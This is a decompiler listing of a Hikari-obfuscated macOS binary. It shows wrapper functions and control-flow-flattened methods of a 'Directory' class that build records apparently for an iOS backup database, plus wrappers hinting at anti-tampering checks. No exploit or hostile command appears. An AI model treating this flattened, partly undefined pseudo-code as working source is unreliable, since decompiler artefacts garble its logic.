void *__fastcall HikariFunctionWrapper_2827(void *a1, const char *a2)
{
return HikariFunctionWrapper_2826(a1, a2);
}
//----- (0000000100054E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2828(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2829(void *a1, const char *a2)
{
return HikariFunctionWrapper_2828(a1, a2);
}
//----- (0000000100054E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2830(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2831(void *a1, const char *a2)
{
return HikariFunctionWrapper_2830(a1, a2);
}
//----- (0000000100054E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2832(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2833(void *a1, const char *a2)
{
return HikariFunctionWrapper_2832(a1, a2);
}
//----- (0000000100054E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2834(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100054E80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2835(NSString *a1)
{
HikariFunctionWrapper_2834(a1);
}
//----- (0000000100054E90) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_2836(void *a1, const char *a2)
{
return dlsym(a1, a2);
}
//----- (0000000100054EA0) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_2837(void *a1, const char *a2)
{
return HikariFunctionWrapper_2836(a1, a2);
}
//----- (0000000100054EB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2838(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054EC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2839(void *a1, const char *a2)
{
return HikariFunctionWrapper_2838(a1, a2);
}
//----- (0000000100054ED0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2840(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100054EE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2841(void *a1, const char *a2)
{
return HikariFunctionWrapper_2840(a1, a2);
}
//----- (0000000100054EF0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2842(FILE *a1)
{
return fflush(a1);
}
//----- (0000000100054F00) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2843(FILE *a1)
{
return HikariFunctionWrapper_2842(a1);
}
//----- (0000000100054F10) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2844(FILE *a1)
{
return fflush(a1);
}
//----- (0000000100054F20) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2845(FILE *a1)
{
return HikariFunctionWrapper_2844(a1);
}
//----- (0000000100054F30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2846(void *a1, void *a2)
{
sendSecurityAlert(a1, a2);
}
//----- (0000000100054F40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2847(void *a1, void *a2)
{
HikariFunctionWrapper_2846(a1, a2);
}
//----- (0000000100054F50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2848(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054F60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2849(void *a1, const char *a2)
{
HikariFunctionWrapper_2848(a1, a2);
}
//----- (0000000100054F70) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_2850(unsigned int a1)
{
return sleep(a1);
}
//----- (0000000100054F80) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_2851(unsigned int a1)
{
return HikariFunctionWrapper_2850(a1);
}
//----- (0000000100054F90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2852(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054FA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2853(void *a1, const char *a2)
{
HikariFunctionWrapper_2852(a1, a2);
}
//----- (0000000100054FB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2854(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054FC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2855(void *a1, const char *a2)
{
HikariFunctionWrapper_2854(a1, a2);
}
//----- (0000000100054FD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2856(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100054FE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2857(void *a1, const char *a2)
{
HikariFunctionWrapper_2856(a1, a2);
}
//----- (0000000100054FF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2858(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2859(void *a1, const char *a2)
{
HikariFunctionWrapper_2858(a1, a2);
}
//----- (0000000100055010) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2860(int a1)
{
return isatty(a1);
}
//----- (0000000100055020) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_2861(int a1)
{
return HikariFunctionWrapper_2860(a1);
}
//----- (0000000100055030) ----------------------------------------------------
pid_t HikariFunctionWrapper_2862()
{
return getpid();
}
//----- (0000000100055040) ----------------------------------------------------
pid_t HikariFunctionWrapper_2863()
{
return HikariFunctionWrapper_2862();
}
//----- (0000000100055050) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_2864(unsigned int a1)
{
return sleep(a1);
}
//----- (0000000100055060) ----------------------------------------------------
unsigned int __fastcall HikariFunctionWrapper_2865(unsigned int a1)
{
return HikariFunctionWrapper_2864(a1);
}
//----- (0000000100055070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2866(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2867(void *a1, const char *a2)
{
HikariFunctionWrapper_2866(a1, a2);
}
//----- (0000000100055090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2868(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000550A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2869(void *a1, const char *a2)
{
HikariFunctionWrapper_2868(a1, a2);
}
//----- (00000001000550B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2870(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000550C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2871(void *a1, const char *a2)
{
HikariFunctionWrapper_2870(a1, a2);
}
//----- (00000001000550D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2872(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000550E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2873(void *a1, const char *a2)
{
HikariFunctionWrapper_2872(a1, a2);
}
//----- (00000001000550F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2874(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055100) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2875(void *a1, const char *a2)
{
HikariFunctionWrapper_2874(a1, a2);
}
//----- (0000000100055110) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2876(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055120) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2877(void *a1, const char *a2)
{
HikariFunctionWrapper_2876(a1, a2);
}
//----- (0000000100055130) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2878(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055140) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2879(void *a1, const char *a2)
{
HikariFunctionWrapper_2878(a1, a2);
}
//----- (0000000100055150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2880(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2881(void *a1, const char *a2)
{
HikariFunctionWrapper_2880(a1, a2);
}
//----- (0000000100055170) ----------------------------------------------------
pid_t HikariFunctionWrapper_2882()
{
return getpid();
}
//----- (0000000100055180) ----------------------------------------------------
pid_t HikariFunctionWrapper_2883()
{
return HikariFunctionWrapper_2882();
}
//----- (0000000100055190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2884(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000551A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2885(void *a1, const char *a2)
{
return HikariFunctionWrapper_2884(a1, a2);
}
//----- (00000001000551B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2886(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000551C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2887(void *a1, const char *a2)
{
return HikariFunctionWrapper_2886(a1, a2);
}
//----- (00000001000551D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2888(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000551E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2889(void *a1, const char *a2)
{
return HikariFunctionWrapper_2888(a1, a2);
}
//----- (00000001000551F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2890(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100055200) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2891(void *a1, const char *a2)
{
return HikariFunctionWrapper_2890(a1, a2);
}
//----- (0000000100055210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2892(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100055220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2893(void *a1)
{
HikariFunctionWrapper_2892(a1);
}
//----- (0000000100055230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2894(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100055240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2895(void *a1, const char *a2)
{
HikariFunctionWrapper_2894(a1, a2);
}
//----- (0000000100055250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2896(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100055260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2897(void *a1, const char *a2)
{
return HikariFunctionWrapper_2896(a1, a2);
}
//----- (0000000100055270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2898(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100055280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2899(void *a1, const char *a2)
{
return HikariFunctionWrapper_2898(a1, a2);
}
//----- (0000000100055290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2900(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000552A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2901(void *a1, const char *a2)
{
return HikariFunctionWrapper_2900(a1, a2);
}
//----- (00000001000552B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2902(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000552C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2903(void *a1, const char *a2)
{
return HikariFunctionWrapper_2902(a1, a2);
}
//----- (00000001000552D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2904(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000552E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2905(void *a1, const char *a2)
{
HikariFunctionWrapper_2904(a1, a2);
}
//----- (00000001000552F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2906(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100055300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2907(void *a1, const char *a2)
{
return HikariFunctionWrapper_2906(a1, a2);
}
//----- (0000000100055310) ----------------------------------------------------
Directory *__cdecl -[Directory initWithPath:domain:owner:group:](
Directory *self,
SEL a2,
id a3,
id a4,
unsigned __int64 a5,
unsigned __int64 a6)
{
char v10; // cf
int v11; // eax
int v12; // ecx
objc_super *v13; // rax
bool v14; // cf
int v15; // ecx
bool v16; // zf
int v17; // ecx
__int64 v19; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 *p_group; // [rsp+8h] [rbp-58h]
unsigned int v21; // [rsp+10h] [rbp-50h]
int v22; // [rsp+14h] [rbp-4Ch] BYREF
objc_super *v23; // [rsp+18h] [rbp-48h]
Directory *v24; // [rsp+20h] [rbp-40h]
bool v25; // [rsp+2Fh] [rbp-31h]
int *v26; // [rsp+30h] [rbp-30h]
v21 = 1969771211;
v22 = -323823378;
v26 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v22 <= -74608041 )
{
if ( v22 > -1208410985 )
{
if ( v22 > -511659622 )
{
switch ( v22 )
{
case -511659621:
*p_group = a6;
v24->_mode = 16877;
*v26 = -1876363142;
break;
case -381408780:
v24->_owner = a5;
*v26 = 2030276420;
break;
case -323823378:
v14 = v21 < 0x464ECEFA;
v11 = -1208410984;
v15 = -1687730294;
goto LABEL_65;
}
}
else
{
switch ( v22 )
{
case -1208410984:
*v26 = -1687730294;
break;
case -804983227:
v16 = 0;
v11 = -381408780;
v17 = 2030276420;
LABEL_48:
if ( !v16 )
v11 = v17;
LABEL_67:
*v26 = v11;
break;
case -741040280:
*v26 = 1412558914;
break;
}
}
}
else if ( v22 > -1408836300 )
{
switch ( v22 )
{
case -1408836299:
*v26 = 1309556494;
break;
case -1406535705:
*v26 = -1402469326;
break;
case -1402469326:
v10 = 1;
v11 = -1402469326;
v12 = 2106512246;
goto LABEL_56;
}
}
else
{
switch ( v22 )
{
case -1876363142:
*p_group = a6;
v24->_mode = 16877;
v11 = -741040280;
goto LABEL_67;
case -1687730294:
v14 = 0;
v23 = (objc_super *)(&v19 - 2);
v11 = -1687730294;
v15 = -1684541691;
goto LABEL_65;
case -1684541691:
*v26 = 634610136;
break;
}
}
}
if ( v22 > 1030519359 )
break;
if ( v22 > 783339947 )
{
switch ( v22 )
{
case 783339948:
*v26 = 821729881;
break;
case 813001090:
v16 = !v25;
v11 = -804983227;
v17 = -74608040;
goto LABEL_48;
case 821729881:
v11 = -1876363142;
goto LABEL_67;
}
}
else
{
switch ( v22 )
{
case -74608040:
v10 = 0;
v11 = 1717853398;
v12 = 1074527522;
goto LABEL_56;
case -68418997:
v14 = 1;
v11 = 1309556494;
v15 = -1408836299;
goto LABEL_65;
case 634610136:
v23->receiver = self;
v23->super_class = (Class)&OBJC_CLASS___Directory;
v13 = -[objc_super initWithPath:domain:](v23, "initWithPath:domain:", a3, a4);
v25 = v13 == 0;
v24 = (Directory *)v13;
*v26 = -68418997;
break;
}
}
}
if ( v22 <= 1717853397 )
break;
switch ( v22 )
{
case 1717853398:
v14 = 0;
v11 = 1717853398;
v15 = 1030519360;
LABEL_65:
if ( !v14 )
v11 = v15;
goto LABEL_67;
case 2030276420:
v24->_owner = a5;
v10 = 1;
p_group = &v24->_group;
v11 = 2030276420;
v12 = 783339948;
LABEL_56:
if ( v10 )
v11 = v12;
goto LABEL_67;
case 2106512246:
*v26 = -74608040;
break;
}
}
if ( v22 <= 1309556493 )
break;
if ( v22 == 1309556494 )
{
v10 = 0;
v11 = 813001090;
v12 = 1309556494;
goto LABEL_56;
}
if ( v22 == 1412558914 )
{
v10 = 1;
v11 = -1406535705;
v12 = -1402469326;
goto LABEL_56;
}
}
if ( v22 != 1074527522 )
break;
*v26 = 1717853398;
}
}
while ( v22 != 1030519360 );
return v24;
}
// 10025F930: using guessed type __objc2_class OBJC_CLASS___Directory;
//----- (0000000100055905) ----------------------------------------------------
id __cdecl -[Directory toRecord](Directory *self, SEL a2)
{
double v2; // xmm0_8
MbdbRecord *v3; // rax
NSString *v4; // rax
NSString *v5; // rax
id v6; // rax
int v7; // eax
id v8; // rax
id v9; // r15
NSData *v10; // rax
NSData *v11; // r14
id v12; // rax
unsigned int v13; // eax
NSDate *v14; // rax
NSDate *v15; // rbx
unsigned int v16; // eax
unsigned int v17; // eax
const char *v19; // [rsp+8h] [rbp-58h]
int v20; // [rsp+1Ch] [rbp-44h] BYREF
id v21; // [rsp+20h] [rbp-40h]
int *v22; // [rsp+28h] [rbp-38h]
id v23; // [rsp+30h] [rbp-30h]
v3 = objc_alloc(&OBJC_CLASS___MbdbRecord);
v23 = HikariFunctionWrapper_150(v3, "init");
v4 = -[BackupFile domain](self, "domain");
v5 = objc_retainAutoreleasedReturnValue(v4);
HikariFunctionWrapper_152(v23, "setDomain:");
objc_release(v5);
v6 = HikariFunctionWrapper_154(self, "path");
v21 = objc_retainAutoreleasedReturnValue(v6);
v20 = 79848777;
v22 = &v20;
do
{
while ( 1 )
{
while ( v20 > 925578953 )
{
if ( v20 == 925578954 )
{
objc_msgSend(v23, "setFilename:", v21);
objc_release(v21);
*v22 = 2055956403;
}
else if ( v20 == 2055956403 )
{
objc_msgSend(v23, "setFilename:", v21);
objc_release(v21);
v19 = "setLink:";
v7 = -69326175;
LABEL_9:
*v22 = v7;
}
}
if ( v20 != -69326175 )
break;
*v22 = -1840557095;
}
if ( v20 == 79848777 )
{
v7 = 2055956403;
goto LABEL_9;
}
}
while ( v20 != -1840557095 );
objc_msgSend(v23, v19, &stru_10025B688);
v8 = HikariFunctionWrapper_156(&OBJC_CLASS___NSData, "data");
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_msgSend(v23, "setHashData:", v9);
objc_release(v9);
v10 = +[NSData data](&OBJC_CLASS___NSData, "data");
v11 = objc_retainAutoreleasedReturnValue(v10);
objc_msgSend(v23, "setKey:", v11);
objc_release(v11);
v12 = -[Directory mode](self, "mode");
objc_msgSend(v23, "setMode:", v12);
HikariFunctionWrapper_158(v23, "setInode:");
v13 = (unsigned int)-[Directory owner](self, "owner");
objc_msgSend(v23, "setUserId:", v13);
-[Directory group](self, "group");
HikariFunctionWrapper_160(v23, "setGroupId:");
v14 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v15 = objc_retainAutoreleasedReturnValue(v14);
-[NSDate timeIntervalSince1970](v15, "timeIntervalSince1970");
objc_msgSend(v23, "setMtime:", (unsigned int)(int)v2);
objc_release(v15);
v16 = (unsigned int)objc_msgSend(v23, "mtime");
objc_msgSend(v23, "setAtime:", v16);
v17 = (unsigned int)HikariFunctionWrapper_162(v23, "mtime");
objc_msgSend(v23, "setCtime:", v17);
objc_msgSend(v23, "setSize:", 0);
objc_msgSend(v23, "setFlags:", 4);
objc_msgSend(v23, "setProperties:", -1);
objc_autoreleaseReturnValue(v23);
return v23;
}
// 100055B16: variable 'v19' is possibly undefined
// 100055C19: variable 'v2' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025FA70: using guessed type __objc2_class OBJC_CLASS___MbdbRecord;
//----- (0000000100055CC6) ----------------------------------------------------
unsigned __int64 __cdecl -[Directory owner](Directory *self, SEL a2)
{
int v2; // r8d
unsigned __int64 owner; // [rsp+8h] [rbp-18h]
int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = -1811152861;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 > -892970145 )
{
if ( v5 > 1366337131 )
{
if ( v5 == 1366337132 )
{
*v6 = -1557151628;
}
else if ( v5 == 1831179984 )
{
v2 = -1826981747;
goto LABEL_18;
}
}
else if ( v5 == -892970144 )
{
v2 = 1831179984;
LABEL_18:
*v6 = v2;
}
else if ( v5 == -116325030 )
{
*v6 = 1831179984;
}
}
if ( v5 <= -1790310257 )
break;
if ( v5 == -1790310256 )
{
*v6 = -892970144;
}
else if ( v5 == -1557151628 )
{
owner = self->_owner;
v2 = -1790310256;
goto LABEL_18;
}
}
if ( v5 == -1811152861 )
{
v2 = -1557151628;
goto LABEL_18;
}
}
while ( v5 != -1826981747 );
return owner;
}
// 100055F04: variable 'owner' is possibly undefined
//----- (0000000100055F0A) ----------------------------------------------------
void __cdecl -[Directory setOwner:](Directory *self, SEL a2, unsigned __int64 a3)
{
int v3; // r8d
unsigned __int64 *p_owner; // [rsp+8h] [rbp-18h]
int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = -1142294750;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 <= 708549801 )
{
if ( v5 == -1142294750 )
{
v3 = 1302593580;
LABEL_11:
*v6 = v3;
}
else if ( v5 == -380857812 )
{
*v6 = 1302593580;
}
}
if ( v5 != 708549802 )
break;
*v6 = 792583041;
}
if ( v5 == 1302593580 )
{
p_owner = &self->_owner;
v3 = 708549802;
goto LABEL_11;
}
}
while ( v5 != 792583041 );
*p_owner = a3;
}
// 10005609C: variable 'p_owner' is possibly undefined
//----- (00000001000560A1) ----------------------------------------------------
unsigned __int64 __cdecl -[Directory group](Directory *self, SEL a2)
{
int v2; // eax
unsigned __int64 *p_group; // [rsp+8h] [rbp-20h]
unsigned __int64 v5; // [rsp+10h] [rbp-18h]
int v6; // [rsp+1Ch] [rbp-Ch] BYREF
int *v7; // [rsp+20h] [rbp-8h]
v6 = -1881493985;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 <= 609776630 )
{
if ( v6 > -497720740 )
{
if ( v6 == -497720739 )
{
*v7 = 931387780;
}
else if ( v6 == -223999860 )
{
p_group = &self->_group;
*v7 = 1582116399;
}
}
else if ( v6 == -1889432940 )
{
*v7 = -223999860;
}
else if ( v6 == -1881493985 )
{
v2 = -223999860;
goto LABEL_17;
}
}
if ( v6 <= 931387779 )
break;
if ( v6 == 931387780 )
{
v5 = *p_group;
v2 = 609776631;
LABEL_17:
*v7 = v2;
}
else if ( v6 == 1582116399 )
{
*v7 = 780384172;
}
}
if ( v6 == 780384172 )
{
v2 = 931387780;
goto LABEL_17;
}
}
while ( v6 != 609776631 );
return v5;
}
// 100056224: variable 'p_group' is possibly undefined
// 100056265: variable 'v5' is possibly undefined
//----- (000000010005626B) ----------------------------------------------------
void __cdecl -[Directory setGroup:](Directory *self, SEL a2, unsigned __int64 a3)
{
int v3; // eax
__int64 v4; // [rsp+0h] [rbp-30h]
unsigned __int64 *v5; // [rsp+8h] [rbp-28h]
int v6; // [rsp+14h] [rbp-1Ch] BYREF
int *v7; // [rsp+18h] [rbp-18h]
v6 = 789710432;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -485065211 )
{
if ( v6 > -1116618350 )
{
switch ( v6 )
{
case -1116618349:
*v5 = a3;
v3 = -485065210;
goto LABEL_26;
case -832707698:
*v7 = -331700852;
break;
case -825861116:
*v7 = -1564842794;
break;
}
}
else
{
switch ( v6 )
{
case -2037335753:
*v5 = a3;
*v7 = -1116618349;
break;
case -1564842794:
v3 = -1116618349;
LABEL_26:
*v7 = v3;
break;
case -1330827749:
v4 = 32;
*v7 = -832707698;
break;
}
}
}
if ( v6 <= -35184816 )
break;
switch ( v6 )
{
case -35184815:
*v7 = -1330827749;
break;
case 729301883:
v5 = (unsigned __int64 *)((char *)self + v4);
v3 = -825861116;
goto LABEL_26;
case 789710432:
v3 = -1330827749;
goto LABEL_26;
}
}
if ( v6 == -331700852 )
{
v3 = 729301883;
goto LABEL_26;
}
if ( v6 != -239699301 )
break;
*v7 = 729301883;
}
}
while ( v6 != -485065210 );
}
// 100056359: conditional instruction was optimized away because %var_20.4==0
// 1000563C1: variable 'v5' is possibly undefined
// 1000564A3: variable 'v4' is possibly undefined
//----- (0000000100056517) ----------------------------------------------------
unsigned __int64 __cdecl -[Directory mode](Directory *self, SEL a2)
{
int v2; // eax
unsigned __int64 *p_mode; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = -995856767;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -575008553 )
{
if ( v6 > -995856768 )
{
if ( v6 == -995856767 )
{
v2 = 470816823;
goto LABEL_21;
}
if ( v6 == -988289070 )
*v7 = -1210809482;
}
else if ( v6 == -1416894699 )
{
*v7 = 907167349;
}
else if ( v6 == -1210809482 )
{
v5 = *p_mode;
*v7 = -575008552;
}
}
if ( v6 > 470816822 )
break;
if ( v6 == -575008552 )
{
v2 = 907167349;
goto LABEL_21;
}
if ( v6 == 395055381 )
*v7 = 470816823;
}
if ( v6 != 470816823 )
break;
p_mode = &self->_mode;
v2 = -988289070;
LABEL_21:
*v7 = v2;
}
if ( v6 == 907167349 )
{
v2 = 1092557804;
goto LABEL_21;
}
}
while ( v6 != 1092557804 );
return v5;
}
// 100056682: conditional instruction was optimized away because %var_10.4==B5E1F9B4
// 1000565EB: variable 'p_mode' is possibly undefined
// 1000566DD: variable 'v5' is possibly undefined
//----- (00000001000566E3) ----------------------------------------------------
void __cdecl -[Directory setMode:](Directory *self, SEL a2, unsigned __int64 a3)
{
int v3; // eax
int v4; // [rsp+Ch] [rbp-1Ch] BYREF
int *v5; // [rsp+10h] [rbp-18h]
v4 = 467463018;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > 467463017 )
{
if ( v4 > 1555307412 )
{
if ( v4 == 1555307413 )
{
v3 = -1558369184;
LABEL_19:
*v5 = v3;
}
else if ( v4 == 2132909722 )
{
self->_mode = a3;
*v5 = 1406284892;
}
}
else
{
if ( v4 == 467463018 )
{
v3 = 1406284892;
goto LABEL_19;
}
if ( v4 == 1406284892 )
{
self->_mode = a3;
v3 = -1246553557;
goto LABEL_19;
}
}
}
if ( v4 <= -1558369185 )
break;
if ( v4 == -1558369184 )
{
v3 = -2102784995;
goto LABEL_19;
}
if ( v4 == -1246553557 )
*v5 = 1555307413;
}
if ( v4 != -2058802775 )
break;
*v5 = -1558369184;
}
}
while ( v4 != -2102784995 );
}
//----- (00000001000568E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_5(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000568F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_150(void *a1, const char *a2)
{
return HikariFunctionWrapper_5(a1, a2);
}
//----- (0000000100056900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_151(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100056910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_152(void *a1, const char *a2)
{
HikariFunctionWrapper_151(a1, a2);
}
//----- (0000000100056920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_153(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
